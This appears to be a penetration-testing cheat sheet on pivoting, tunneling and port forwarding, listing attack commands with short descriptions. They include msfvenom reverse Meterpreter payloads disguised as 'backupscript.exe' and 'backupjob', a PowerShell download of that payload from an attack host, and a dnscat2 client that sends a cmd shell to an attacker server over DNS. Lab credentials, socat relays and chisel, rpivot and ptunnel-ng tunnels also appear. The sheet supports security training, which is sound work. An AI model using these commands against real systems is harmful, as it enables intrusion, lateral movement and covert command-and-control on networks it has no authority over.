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Cheat-sheet: Pivoting, Tunneling, and Port Forwarding

Command Description
ifconfig Linux-based command that displays all current network configurations of a system.
ipconfig Windows-based command that displays all system network configurations.
netstat -r Command used to display the routing table for all IPv4-based protocols.
nmap -sT -p22,3306 <IPaddressofTarget> Nmap command used to scan a target for open ports allowing SSH or MySQL connections.
ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget> SSH comand used to create an SSH tunnel from a local machine on local port 1234 to a remote target using port 3306.
netstat -antp \| grep 1234 Netstat option used to display network connections associated with a tunnel created. Using grep to filter based on local port 1234 .
nmap -v -sV -p1234 localhost Nmap command used to scan a host through a connection that has been made on local port 1234.
ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget> SSH command that instructs the ssh client to request the SSH server forward all data via port 1234 to localhost:3306.
ssh -D 9050 ubuntu@<IPaddressofTarget> SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
tail -4 /etc/proxychains.conf Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.
proxychains nmap -v -sn 172.16.5.1-200 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range 172.16.5.1-200 with increased verbosity (-v) disabling ping scan (-sn).
proxychains nmap -v -Pn -sT 172.16.5.19 Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (-v), disabling ping discover (-Pn), and using TCP connect scan type (-sT).
proxychains msfconsole Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
msf6 > search rdp_scanner Metasploit search that attempts to find a module called rdp_scanner.
proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123 Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080 Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following lhost= on local port 8080 (LPORT=8080). Payload will take the form of an executable file called backupscript.exe.
msf6 > use exploit/multi/handler Used to select the multi-handler exploit module in Metasploit.
scp backupscript.exe ubuntu@<ipAddressofTarget>:~/ Uses secure copy protocol (scp) to transfer the file backupscript.exe to the specified host and places it in the Ubuntu user's home directory (:~/).
python3 -m http.server 8123 Uses Python3 to start a simple HTTP server listening on port8123. Can be used to retrieve files from a host.
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe" PowerShell command used to download a file called backupscript.exe from a webserver (172.16.5.129:8123) and then save the file to location specified after -OutFile.
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port 8080 on the attack host to port 80 on the target.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080 Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after LHOST= on port 8080 (LPORT=8080). Payload takes the form of an executable elf file called backupjob.
msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 Metasploit command that runs a ping sweep module against the specified network segment (RHOSTS=172.16.5.0/23).
for i in {1..254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done For Loop used on a Linux-based system to discover devices in a specified network segment.
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply" For Loop used on a Windows-based system to discover devices in a specified network segment.
1..254 \| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"} PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.
msf6 > use auxiliary/server/socks_proxy Metasploit command that selects the socks_proxy auxiliary module.
msf6 auxiliary(server/socks_proxy) > jobs Metasploit command that lists all currently running jobs.
socks4 127.0.0.1 9050 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.
Socks5 127.0.0.1 1080 Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.
msf6 > use post/multi/manage/autoroute Metasploit command used to select the autoroute module.
meterpreter > help portfwd Meterpreter command used to display the features of the portfwd command.
meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget> Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.
xfreerdp /v:localhost:3300 /u:victor /p:pass@123 Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.
netstat -antp Used to display all (-a) active network connections with associated process IDs. -t displays only TCP connections.-n displays only numerical addresses. -p displays process IDs associated with each displayed connection.
meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost> Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port 1234 listening on the IP address of the Attack Host.
meterpreter > bg Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux
socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80 Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443 Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.
plink -D 9050 ubuntu@<IPaddressofTarget> Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
sudo apt-get install sshuttle Uses apt-get to install the tool sshuttle.
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (172.16.5.0).
sudo git clone https://github.com/klsecservices/rpivot.git Clones the rpivot project GitHub repository.
sudo apt-get install python2.7 Uses apt-get to install python2.7.
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 Used to run the rpivot server (server.py) on proxy port 9050, server port 9999 and listening on any IP address (0.0.0.0).
scp -r rpivot ubuntu@<IPaddressOfTarget> Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999 Used to run the rpivot client (client.py) to connect to the specified rpivot server on the appropriate port.
proxychains firefox-esr <IPaddressofTargetWebServer>:80 Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password> Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25 Windows-based command that uses netsh.exe to configure a portproxy rule called v4tov4 that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.
netsh.exe interface portproxy show v4tov4 Windows-based command used to view the configurations of a portproxy rule called v4tov4.
git clone https://github.com/iagox86/dnscat2.git Clones the dnscat2 project GitHub repository.
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache Used to start the dnscat2.rb server running on the specified IP address, port (53) & using the domain inlanefreight.local with the no-cache option enabled.
git clone https://github.com/lukebaggett/dnscat2-powershell.git Clones the dnscat2-powershell project Github repository.
Import-Module dnscat2.ps1 PowerShell command used to import the dnscat2.ps1 tool.
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (-Exec cmd).
dnscat2> ? Used to list dnscat2 options.
dnscat2> window -i 1 Used to interact with an established dnscat2 session.
./chisel server -v -p 1234 --socks5 Used to start a chisel server in verbose mode listening on port 1234 using SOCKS version 5.
./chisel client -v 10.129.202.64:1234 socks Used to connect to a chisel server at the specified IP address & port using socks.
git clone https://github.com/utoni/ptunnel-ng.git Clones the ptunnel-ng project GitHub repository.
sudo ./autogen.sh Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
sudo ./ptunnel-ng -r10.129.202.64 -R22 Used to start the ptunnel-ng server on the specified IP address (-r) and corresponding port (-R22).
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22 Used to connect to a specified ptunnel-ng server through local port 2222 (-l2222).
ssh -p2222 -lubuntu 127.0.0.1 SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.
regsvr32.exe SocksOverRDP-Plugin.dll Windows-based command used to register the SocksOverRDP-PLugin.dll.
netstat -antb \|findstr 1080 Windows-based command used to list TCP network connections listening on port 1080.